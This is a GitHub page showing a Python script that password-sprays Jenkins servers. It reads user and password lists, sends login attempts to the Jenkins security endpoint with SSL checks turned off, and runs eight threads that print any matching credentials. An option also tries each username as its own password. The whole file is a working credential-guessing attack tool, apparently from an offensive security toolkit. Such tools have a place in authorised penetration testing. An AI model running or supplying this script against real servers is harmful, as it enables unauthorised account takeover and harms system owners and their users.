-
Notifications
You must be signed in to change notification settings - Fork 333
/
jenkins_password_spraying.py
executable file
·87 lines (67 loc) · 2.6 KB
/
jenkins_password_spraying.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
import requests
import argparse
import concurrent.futures
# IGNORE SSL WARNING ###########################################################
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# UTILS ########################################################################
def try_login(auth):
r = SESSION.post(URL + '/j_spring_security_check', data=auth, verify=False)
if r.status_code == 200:
return True
if r.status_code == 403 and 'X-You-Are-Authenticated-As' in r.headers:
print('Warning: next user probably misses Global/Read permissions')
return True
return False
def spray(user, password=None):
if password is not None:
auth = {'j_username':user, 'j_password':password}
if try_login(auth):
print('Matching password {} for user {}'.format(password, user))
return
password_count = 0
order = 100
for password in passwords:
auth = {'j_username':user, 'j_password':password}
if try_login(auth):
print('Matching password {} for user {}'.format(password, user))
break
password_count += 1
if password_count == order:
print('So far I\'ve tried {} passwords for user {}'.format(order, user))
order *= 10
# MAIN #########################################################################
parser = argparse.ArgumentParser(description = 'Jenkins password sprayer')
parser.add_argument('url', nargs='+', type=str)
parser.add_argument('-u', '--user', type=str)
parser.add_argument('-U', '--user_file', type=str)
parser.add_argument('-p', '--password', type=str)
parser.add_argument('-P', '--password_file', type=str)
parser.add_argument('-e', '--additional_checks', action='store_true', help='Try username as password')
args = parser.parse_args()
URL = args.url[0]
SESSION = requests.session()
# build the user list
users = []
if args.user_file:
with open(args.user_file, 'r', errors='replace') as user_file:
users = user_file.read().splitlines()
if args.user:
users.append(args.user)
# build the password list
passwords = []
if args.password_file:
with open(args.password_file, 'r', errors='replace') as password_file:
passwords = password_file.read().splitlines()
if args.password:
passwords.append(args.password)
if args.additional_checks == True:
for user in users:
spray(user, user)
exit(0)
if passwords == [] or users == []:
print('Need users and passwords')
exit(1)
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
executor.map(spray, users)